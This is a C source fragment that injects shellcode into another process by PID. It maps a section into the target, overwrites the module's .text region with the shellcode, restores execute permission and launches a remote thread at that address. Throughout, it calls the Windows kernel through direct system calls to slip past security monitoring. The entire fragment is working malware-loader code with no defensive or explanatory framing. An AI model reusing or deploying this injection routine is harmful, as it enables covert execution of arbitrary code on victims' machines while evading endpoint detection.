HANDLE hproc = NULL;
INJ_OA oa = {sizeof(oa), NULL, NULL, 0, NULL, NULL};
INJ_CID cid = {(HANDLE)(uintptr_t)pid, NULL};
st = inj_sc(s_ssn[SSN_OPEN],
(uintptr_t)&hproc, PROCESS_ALL_ACCESS, (uintptr_t)&oa, (uintptr_t)&cid,
0, 0, 0, 0, 0, 0, 0);
if (st)
{
CloseHandle(hSection);
return -4;
}
/* Map view into target — protection determined by image sections */
PVOID base = NULL;
SIZE_T view_sz = 0;
st = inj_sc(s_ssn[SSN_MAPSEC],
(uintptr_t)hSection, (uintptr_t)hproc, (uintptr_t)&base, 0,
0, 0, (uintptr_t)&view_sz, 2, 0, 0x20, 0);
CloseHandle(hSection);
if (st)
{
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return -5;
}
/* Change first sc_len bytes of view to RW for writing */
PVOID prot_base = base;
SIZE_T prot_sz = sc_len;
ULONG old_prot;
st = inj_sc(s_ssn[SSN_PROT],
(uintptr_t)hproc, (uintptr_t)&prot_base, (uintptr_t)&prot_sz,
PAGE_READWRITE, (uintptr_t)&old_prot, 0, 0, 0, 0, 0, 0);
if (st)
{
inj_sc(s_ssn[SSN_UNMAPSEC], (uintptr_t)hproc, (uintptr_t)base, 0, 0, 0, 0, 0, 0, 0, 0, 0);
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return -6;
}
/* write shellcode over the module's .text region */
SIZE_T nw = 0;
st = inj_sc(s_ssn[SSN_WRITE],
(uintptr_t)hproc, (uintptr_t)base, (uintptr_t)sc, (uintptr_t)sc_len,
(uintptr_t)&nw, 0, 0, 0, 0, 0, 0);
if (st || nw != sc_len)
{
inj_sc(s_ssn[SSN_UNMAPSEC], (uintptr_t)hproc, (uintptr_t)base, 0, 0, 0, 0, 0, 0, 0, 0, 0);
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return -7;
}
/* Restore RX */
prot_base = base;
prot_sz = sc_len;
st = inj_sc(s_ssn[SSN_PROT],
(uintptr_t)hproc, (uintptr_t)&prot_base, (uintptr_t)&prot_sz,
PAGE_EXECUTE_READ, (uintptr_t)&old_prot, 0, 0, 0, 0, 0, 0);
if (st)
{
inj_sc(s_ssn[SSN_UNMAPSEC], (uintptr_t)hproc, (uintptr_t)base, 0, 0, 0, 0, 0, 0, 0, 0, 0);
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return -8;
}
/* Execute shellcode — thread starts at mapped base (stomped .text entry) */
HANDLE hthread = NULL;
st = inj_sc(s_ssn[SSN_THREAD],
(uintptr_t)&hthread, THREAD_ALL_ACCESS, 0, (uintptr_t)hproc,
(uintptr_t)base, 0, 0, 0, 0, 0, 0);
if (st)
{
inj_sc(s_ssn[SSN_UNMAPSEC], (uintptr_t)hproc, (uintptr_t)base, 0, 0, 0, 0, 0, 0, 0, 0, 0);
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return -9;
}
CloseHandle(hthread);
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return 0;
}